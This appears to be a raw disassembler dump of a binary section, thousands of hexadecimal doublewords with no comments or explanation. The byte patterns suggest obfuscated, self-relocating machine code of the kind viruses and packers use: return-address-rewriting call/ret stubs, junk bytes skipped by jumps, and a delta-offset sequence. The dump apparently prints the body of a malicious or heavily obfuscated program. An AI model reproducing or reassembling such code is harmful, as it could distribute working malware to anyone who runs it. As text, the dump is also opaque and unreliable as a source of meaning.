		dd 7E431C1h, 0FFF75FE9h, 0FBBF0FFFh, 2149BD8Bh,	0C18B07E4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 79C35545h
		dd 0F3BF6618h, 4EB19h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AABC355h
		dd 0AA73342Bh, 5860F72h, 66000000h, 602CDF81h, 8DF2BF0Fh
		dd 0E40D8585h, 7E95007h, 0B0000000h, 53F4E938h,	4893B7Eh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 59B589B7h, 6A07E42Dh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F7810996h
		dd 3B63F9D9h, 0BE9h, 92F7D700h,	56270B47h, 81C7AAB6h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0AB28A8C3h, 0CBFFF1C0h, 0E98B0F35h, 0Ah, 0B48E1B06h
		dd 0F9129E67h, 858D08B4h, 7E84C24h, 2C598529h, 0C08307E4h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 93DE7173h, 634EC9A1h, 0F50B302h,	48Bh, 0AFBE6600h
		dd 2404897Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0B6C35040h, 0C4F5FCB0h,	10E9h, 67069900h, 0A26EEF0h
		dd 0C0446454h, 621A92D0h, 51BD299Eh, 6A07E42Dh,	0FD958900h
		dd 6A07E408h, 0B5016000h, 7E40F21h, 68F0Fh, 860F0000h
		dd 0
		dd 7195FF61h, 6A07E424h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2636C351h, 0BD8BE682h
		dd 7E401DDh, 0D64B9D8Dh, 0B58B07E7h, 7E407BDh, 1ABED3FFh
		dd 0FF37C71Fh, 0E420B985h, 0B1BD8B07h, 0E907E423h, 848h
		dd 0E8h, 0ED815D00h, 7E84C2Eh, 15C5B58Bh, 0BD8107E4h, 7E42AD5h
		dd 7D0h, 160860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 6611F3C3h, 7D0DD681h
		dd 5559D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 761FE0C3h, 0FA96CACAh, 895825B8h
		dd 0E43079B5h, 0E38107h, 60000001h, 149D9D8Bh, 0F18107E4h
		dd 3EF5D87Dh, 0FDB0B61h, 9285h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0F6A116F1h
		dd 0FA7C00BAh, 4A68BD83h, 0F0007E8h, 4D84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0E8DDA338h, 0D0FA7EB0h, 198D0F8Ch, 0E9000000h, 14h
		dd 0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h,	116916Ch
		dd 0D9CF8166h, 27E997h,	85C70000h, 7E84A68h, 1,	55DB531h
		dd 12E907E4h, 0C7000000h, 0E84A6885h, 7, 2810F00h, 8B000000h
		dd 559D8DF0h, 6A07E405h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 646FC355h, 0F5BD72B1h
		dd 33137EFBh, 0B4BA2BBEh, 0FF238122h, 0E9FFFFFEh, 12h
		dd 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh,	8C665E8Ah
		dd 51006ADBh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 376F0E22h, 3315EBE4h, 0C3F61ADCh, 51840F04h
		dd 0F000000h, 0C8Fh, 68B0F00h, 0F000000h, 87h, 9195FF00h
		dd 6607E42Dh, 0E850F98Bh, 10h, 0DF48E7A7h, 0E256BB54h
		dd 95578211h, 64014208h, 2830Fh, 0F18B0000h, 2404895Eh
		dd 5E860h, 42E40000h, 23A2D8C5h, 0E40F31BDh, 61F55F07h
		dd 3DEE9h, 0C5952900h, 0B007E421h, 10E900h, 57CF0000h
		dd 480798B8h, 51B5CB7Fh, 83D7E214h, 70E64F21h, 0A19D8B60h
		dd 0B607E406h, 71E46112h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 9AC35040h, 1C2B3264h,	0FD24058h, 6AD8B6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 65FF0BC3h, 6BAFC1Eh,	1000000h, 0E41B8DBDh, 66C38B07h
		dd 0E8C1FB8Bh, 1D8A0F04h, 0E8000000h, 11h, 61A7ED0h, 7B3D7AA2h
		dd 0BE845930h, 0C5EFD5DDh, 0C5B58BA3h, 5F07E42Eh, 6AE2F766h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 33D8C352h, 60629391h, 1429858Bh, 0D78B07E4h
		dd 60D82B61h, 1E619589h, 952907E4h, 7E40245h, 0BE669361h
		dd 0E850204Bh, 6, 59D99D5Dh, 0EE8F763h,	0A3000000h, 1D9FF66Ch
		dd 577F0442h, 2BF0EAE8h, 5F61605Ah, 0B70F935Eh,	0A5B58BF7h
		dd 0FF07E40Bh, 0E42AD5B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 26EEF067h
		dd 1B5890Ah, 0FF07E404h, 0E40E4195h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0B59D89AEh
		dd 907E427h, 0E42FED85h, 6600B007h, 358FE681h, 6A70E6F8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0FBD2C355h, 897FE00Dh, 0E4040185h, 8971E407h
		dd 0E4064D85h, 0C7816607h, 613C17C9h, 229830Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0BF30D2C3h, 14E92537h, 66D8B60Fh, 0BA592DBFh, 6, 3850Fh
		dd 8B660000h, 0E9C38BF1h, 7, 0CE661514h, 0C140B4B1h, 6A04E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0D6530CC3h, 0C68DEE39h, 52E1FAE9h, 58E0Fh, 81660000h
		dd 5E2E23EFh, 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 5639C353h, 52E2F800h
		dd 0FE957h, 5CE40000h, 6904A4ABh, 0D026640Eh, 6E7A7D18h
		dd 2B5E5F9Ah, 68F0FD8h,	89000000h, 0E40E2995h, 0BD8B5807h
		dd 7E400EDh, 880FD82Bh,	157h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 89C35242h, 6713D27Ah, 90805577h
		dd 0B58960CBh, 7E409F5h, 0F618509h, 0B96107E4h,	7, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BFC35242h, 53D65D30h
		dd 850F09C0h, 5, 91EF8166h, 19CE8182h, 0F0ABE65h, 0C183FEBFh
		dd 61B58900h, 3B07E40Bh, 0D8860FD9h, 9000000h, 0E401A1BDh
		dd 0D98C6607h, 13E9h, 4F4DC900h, 504BDB2Bh, 0C4BC784h
		dd 0E13D7863h, 73436134h, 0BE9h, 95CFB900h, 0A53405B0h
		dd 57DC5E8Eh, 0F04C1F6h, 9784h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 880F2CE7h
		dd 6, 0A29B531h, 95FF07E4h, 7E42D91h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9FC35141h, 334DE5F5h, 880F9274h
		dd 5, 0BEDE8166h, 0C32B5BA0h, 8B0Fh, 343D0000h,	0F000008h
		dd 2786h, 29E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 51A10BC3h, 0F6B70FE8h
		dd 0ACBFC08Bh, 8B51CCB8h, 0E8D88BC3h, 0Bh, 0A8CCFFDCh
		dd 0FB333A91h, 0F7C64CCh, 587h,	539BF00h, 0C75E69B7h, 0E406FD85h
		dd 0FE95307h, 0B5950137h, 8B07E427h, 55006AC0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 8EB0D893h
		dd 79A4CE83h, 1AA19D29h, 5F5107E4h, 2AD5BD81h, 7D007E4h
		dd 850F0000h, 32h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 45C35242h, 0A33CB076h, 19E19D89h, 85FF07E4h
		dd 7E42AD5h, 1B7D8589h,	0B5FF07E4h, 7E42AD5h, 9F8858BFh
		dd 4195FF3Ah, 6607E40Eh, 6A90F88Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 96D1C352h
		dd 0BA6D6E97h, 0FCE65555h, 3F78A60h, 0E429F9B5h, 0C6BF0F07h
		dd 6E9h, 7BDC2200h, 61CAF671h, 0BDE78166h, 51006A1Eh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0A0CCF7C1h, 70D3C75Ch, 7E855A8h, 0D000000h, 61BF4F81h
		dd 11E91554h, 3A000000h, 166DB210h, 0FE92EC35h,	2E4F8A3Ah
		dd 1B60F2FDh, 7BDE8166h, 0B58B5EA3h, 7E40B51h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 5AC35141h, 2B336F8Ah
		dd 0E415C5B5h, 89DE8107h, 0E9462F00h, 0Ch, 0BF2DF4B3h
		dd 8BD511BFh, 0EE6834E2h, 9E8h,	16916C00h, 78F001h, 8D89864Ah
		dd 7E405B5h, 57006A5Eh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 98814C78h, 952B60C6h, 7E4237Dh, 3047D881h
		dd 0FE82D4Fh
		dd 75000000h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 8B663C38h
		dd 8D9D8BC3h, 5B07E42Dh, 0FE8B6661h, 0FFF82BE9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 39D8320Bh, 137A00C8h, 0CE84Fh, 3F020000h, 0C555AA2Ch
		dd 3D0CAD91h, 12E9A0ADh, 65000000h, 5AD9FC74h, 20587C7Eh
		dd 0E8C891E6h, 417438F5h, 0FD9D01CFh, 5F07E419h, 10E8h
		dd 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh, 0F3EDBFC3h
		dd 13BF0247h, 5E705521h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0EBD3E5C3h, 4, 14E900h
		dd 0A6C80000h, 34418B22h, 53B26601h, 0F978DF7Ch, 0EB3224F2h
		dd 6A91CBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0CD4B16C3h, 0B7E90DFAh, 0FB271FFh, 684h
		dd 0FDB58B00h, 8D07E42Dh, 0E40D8585h, 0B58B5707h, 7E415ADh
		dd 0BF50905Fh, 3F2E41C7h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6DC74650h
		dd 2C0D9529h, 6A07E4h, 820Fh, 6A0000h, 0BD89FB8Bh, 7E42D3Dh
		dd 569B858Dh, 6A07E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0FD2218C3h, 0EB24B15Eh, 8BE0EDD5h
		dd 0E425CDBDh, 5C08307h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 94C35141h, 4B423A86h,	0CCF9BAB9h, 12E962h
		dd 0FC560000h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh
		dd 820Fh, 66900000h, 500E28BFh,	0A800Fh, 52500000h, 0DE35BE66h
		dd 585A310Fh, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 2EC35141h, 0B9BE4840h, 0A558E777h, 0BE8h
		dd 21A1FB00h, 9A9762BDh, 0D00ADA24h, 2389BD33h,	6A5F07E4h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 31F0B0FAh, 8866E7F5h, 0FFF08B8Ch, 0E4247195h
		dd 0CE816607h, 9D8DF516h, 7E7D64Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 60C35747h, 0F117660Ch, 0BF46404h
		dd 0E409A5BDh, 6AD3FF07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 2FE1C355h, 8DEB9C8Bh
		dd 0E982BD01h, 0Ah, 10174FE9h, 65BE5CE9h, 85FF3797h, 7E420B9h
		dd 218D9589h, 0BDE907E4h, 0E8000007h, 0
aBaevsJ		db ']ν₯Vθ',7,'j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0C1FAC350h, 55E96B26h, 0BD89F382h, 7E41A61h,	0CAB7BE60h
		dd 7E93197h, 0D000000h,	0A5A902F1h, 8161ABA1h, 0E42AD5BDh
		dd 7D007h, 2D860F00h, 89000001h, 0E427799Dh, 999D8B07h
		dd 6A07E413h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0CE42C357h, 2AFA9815h,	0BF0F6A24h
		dd 8D0F60FFh, 1, 19D8BF8h, 6107E423h, 100E381h,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 69811FC3h, 0B8FEA41h, 73850FDBh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 4BBC356h, 0B1FC0C96h, 8B72FE9Ah, 0E400A9BDh,	92BD8307h
		dd 7E854h, 0C840Fh, 47E90000h, 81000000h, 0E93488F7h, 85C7F574h
		dd 7E85492h, 1,	31E9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 41F1CA37h, 85C70C22h
		dd 7E85492h, 0
		dd 2D9531h, 9D8D07E4h, 7E41399h, 6880F51h, 0F000000h, 8Ah
		dd 23815F00h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A2C35040h, 0D844BC02h, 6ADB8C66h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 452C350h, 5B05118Fh,	12E538ECh, 0F04C3F6h, 4784h, 0FE900h
		dd 0CDF60000h, 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 9195FF0Ah
		dd 2907E42Dh, 0E400D1BDh, 4895007h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2627DB77h
		dd 36CDCFE1h, 3EDE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E8293B1Ch, 5,	79D0CD99h
		dd 62BE66A9h, 0B05FA3h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0E1C35242h, 9860F9A6h, 0BD1E565Fh, 9DB533C9h
		dd 2307E403h, 0E408A1BDh, 0E470E607h, 57006A71h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 894E0F32h, 0FC57CA95h, 81D8B60Fh, 0F69849CEh, 6BA6Dh
		dd 0BD8B0000h, 7E41AEDh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D29B4C3h, 7E40079h
		dd 73A6BE66h, 2BDBD03h,	0E8C107E4h, 0CDF8104h, 6658FC02h
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0F6546CC3h, 6AD82B37h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FBF4C352h
		dd 187461DFh, 0E993D811h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh
		dd 70A5FED7h, 0E950596Ah, 0Bh, 6A967AD5h, 5ED03CCFh, 932E24EEh
		dd 65907BFh, 0D5B5FF77h, 6607E42Ah, 95FFF88Bh, 7E40E41h
		dd 3581BD89h, 0B007E4h,	71E470E6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0A9C35646h,	0BF571535h, 73BFAC50h
		dd 613CF95Eh, 25C830Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 2BBAA3C3h, 609F5524h
		dd 0BDA8B66h, 0E4034585h, 0B60F6107h, 6BAD8h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 692764C3h, 0CCD11BBFh, 958D89FAh, 8B07E42Dh,	0C1F38BC3h
		dd 0E95704E8h, 0Ah, 63E8D690h, 0E283C274h, 665E0FFCh, 9589E2F7h
		dd 7E402E1h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0BEC0F2C3h, 58ECF7E1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7FC35242h, 0F57F38F6h
		dd 0FD82BF5h, 19188h, 5D9D2900h, 0B907E405h, 7,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8DC35242h, 0F676E3D4h
		dd 1FEDBD8Bh, 0C18307E4h, 11E800h, 45380000h, 77062954h
		dd 1012BF2Ah, 1811D81Ah, 0FE91D04h, 68Dh, 9B52300h, 5F07E41Bh
		dd 860FD93Bh, 132h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FC35040h, 0DF3DB6C3h, 0E9BC8E33h, 0Dh
		dd 68D09620h, 738A96DAh, 0E721EB20h, 0D98C66D2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AC35646h, 0C1F6AC7Eh
		dd 0B3840F04h, 0FF000000h, 0E42D9195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0CB402765h, 16916C14h, 6A5B01h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 54C787C3h, 0EFB7D9A3h
		dd 2B64D857h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0AD90C09h, 0C7FA9F1Dh, 2EA99D89h
		dd 343D07E4h, 0F000008h, 2D86h,	7E900h,	2070000h, 55E828EFh
		dd 3CE9BBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 0C08BAEC3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0C9C35242h,	0C38B2D9Dh, 0BE66D88Bh
		dd 0B58B79FCh, 7E41F45h, 55585C7h, 0CFFD07E4h, 8BFC710Bh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 96978E7Ch, 81F08B0Dh, 0E42AD5BDh, 7D007h
		dd 2E850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 3517C356h, 38B032B3h
		dd 0D585FFE9h, 8B07E42Ah, 0E41C71B5h, 0D5B5FF07h, 6607E42Ah
		dd 95FFF98Bh, 7E40E41h,	1E19BD8Bh, 8B9007E4h, 58529FEh
		dd 8B07E40Ah, 0E40619BDh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9FACF18h
		dd 0Dh,	0EB7AA82Fh, 0B48B8753h,	0B64A10A2h, 0F5BD8BF6h
		dd 6A07E431h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 8848C353h, 0BD09532Eh,	7E41455h
		dd 14E85Eh, 0DB5D0000h,	0E5AC9F5h, 0FF44F157h, 2B6BD8A4h
		dd 58B79C17h, 8D094215h, 7E42045h, 0ED95315Fh, 8B07E41Ch
		dd 0E41D75B5h, 0B8F78107h, 3355CB30h, 0E40D6DB5h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5A531001h, 8B74ACD0h, 88C0FF0h, 51000000h, 0BE66F88Bh
		dd 0F85F1019h, 840F6060h, 0
aBCajpaiexFAj	db 'Θ–Ajpa‰…•!δ',7,'aj',0
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B32A23C3h, 0E18992B9h, 8B8D0948h, 0E42D2DBDh, 85296007h
		dd 7E42155h, 9830Fh, 8B660000h,	0B58589CAh, 0B907E425h
		dd 600F9BDEh, 0F849E961h, 0BD33FFFFh, 7E41D21h,	6AC18Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 376A6EC3h, 4EBF679h,	0
		dd 18F19531h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 42EC05C3h, 858DEC7Dh, 7E40D85h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 74C35545h
		dd 0BC2C9971h, 5050784Eh, 0AFC1BF52h, 310F2EE9h, 5AFB8B66h
		dd 24048958h, 13ED9509h, 6A07E4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 15C35545h, 0E997A1D9h, 0Eh
		dd 0F07F8777h, 0C9CD08D6h, 8BA21102h, 0BDBFC5C1h, 6A4F0041h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 4047D164h, 68D0Fh, 0BD8B0000h, 7E40A65h
		dd 2F81B58Bh, 858D07E4h, 7E8606Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D3C35545h,	554949B5h, 26199589h
		dd 0C08307E4h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 40BF5414h, 5024DFBAh
		dd 60605250h, 6162B461h, 6660310Fh, 880FD18Bh, 0
		dd 89585A61h, 89522404h, 0E4232D9Dh, 6A5F07h, 1C59B58Bh
		dd 0BF6607E4h, 6A7503h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 35C35747h, 0A8A0F51h,	0E9000000h, 5
		dd 54B5844Eh, 7195FF19h, 0F07E424h, 9D8DFBBFh, 7E7D64Bh
		dd 25859501h, 0D3FF07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0C6C35141h, 6CEED62Eh, 0A13AAF93h, 0F5DBA2BEh
		dd 0B985FF0Dh, 6A07E420h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 2A98C357h, 68CFBE66h
		dd 92FE9h, 0E800h, 815D0000h, 0E86077EDh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 12E7E1CEh, 53639528h, 0DE81663Fh, 0BD81F110h, 7E42AD5h
		dd 7D0h, 112860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 48B4B9C3h, 89DBC3E2h
		dd 0E41965BDh, 859D8B07h, 8907E423h, 0E403EDB5h, 0E38107h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0C612C350h, 89FC4420h,	0BF88B66h
		dd 8D850FDBh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 9FA4C353h, 81BD83FBh
		dd 7E85Eh, 31840Fh, 0BD8B0000h,	7E4138Dh, 67E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 38BCB610h, 15BD8B55h, 0C707E419h, 0E85E8185h, 107h
		dd 858D0100h, 0E907E41Ah, 2Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 1C35646h, 5E8185C7h, 7E8h
		dd 0B58B0000h, 7E4035Dh, 23859D8Dh, 238107E4h, 0FFFFFEFFh
		dd 5696BF66h, 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F7FFC355h,	0EFC43F2Ah
		dd 9ABCF87Ah, 12E8h, 9C301800h,	0A020025Eh, 0E8159E20h
		dd 975DA3B8h, 89F9F49Fh, 0E405F98Dh, 0C3F65E07h, 7C840F04h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 284C357h, 0BD8B33BEh, 7E420D9h
		dd 2D9195FFh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 718B72C3h, 3FF26266h, 0E9A766DCh
		dd 13h,	4B415853h, 6DDD4636h, 4C6C6167h, 1694C375h, 909B098Eh
		dd 580BE50h, 8190283Ah,	7ABBB0F6h, 45858961h, 0E907E402h
		dd 4D8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	60C35747h, 0B975A2E3h, 1989B58Bh, 8B0F07E4h, 6
		dd 272D9589h, 0B007E4h,	11C68166h, 6A70E644h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 62DFC355h, 8971E4F1h, 0E420C5BDh, 0D8B60F07h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 55C35646h, 73BE6650h
		dd 890F40h, 0BA000000h,	6, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FFC35343h, 0F8A91FF9h, 6AC38BC5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 5168C353h, 0FEEF9BEh, 4E8C164h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0CDC35040h,	7AD95CD2h, 281FF282h
		dd 5830FB8h, 0BF000000h, 6D6B0E96h, 0CE9h, 3DA8F00h, 0B7AB8D45h
		dd 9BC47B21h, 0E2F766EAh, 0DD1B58Bh, 0D82B07E4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 0E8760D89h
		dd 50ECD303h, 0A6DBBE66h, 81241C89h, 596854E7h,	0D5B5FF3Ch
		dd 6A07E42Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F03C356h, 1047A1E9h, 0E8369AF9h
		dd 8, 6922452h,	738EEEAh, 2181B58Bh, 8B5F07E4h,	4195FFF2h
		dd 0F807E40Eh, 6A00B0h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 27042AC3h, 0C9FC04C9h, 1EDBD23h
		dd 4BBE07E4h, 0E67AF9D4h, 0F78170h, 0E4720C09h,	50006A71h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B9928945h, 14E9CA93h, 72000000h, 0BE9C90DBh, 304330A5h
		dd 46D92011h, 295F51CEh, 665CC9EFh, 613CF88Bh, 2BE830Fh
		dd 9D310000h, 7E422A5h,	6AD8B60Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC5C353h
		dd 81CE0C48h, 0B2D93FF6h, 6BA5Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h
		dd 51DC005Ah, 601B4D5Dh, 22A99D31h, 815207E4h, 9C8939C2h
		dd 8B615F11h, 12E9C3h, 255F0000h, 76FDE95h, 9B40D7F9h
		dd 0DE0E43A6h, 0B88C6892h, 6A04E8C1h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AA93C350h
		dd 0E1995C92h, 7EDF2B8h, 23D9BD8Bh, 0F76607E4h,	50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4770F80Eh, 9E94D39h,	0CE000000h, 0F34D25C7h,	4C216EA3h
		dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 756C78C3h, 0E858A1E3h, 7,	0E551147Eh, 5E7C9921h
		dd 880FD82Bh, 1A4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 19C35141h, 1861DBE9h,	9A036174h, 0B9F7B70Fh
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 15h
		dd 0B2C35646h, 0C1831Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 3C35343h, 860FD93Bh, 134h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h, 666181E7h
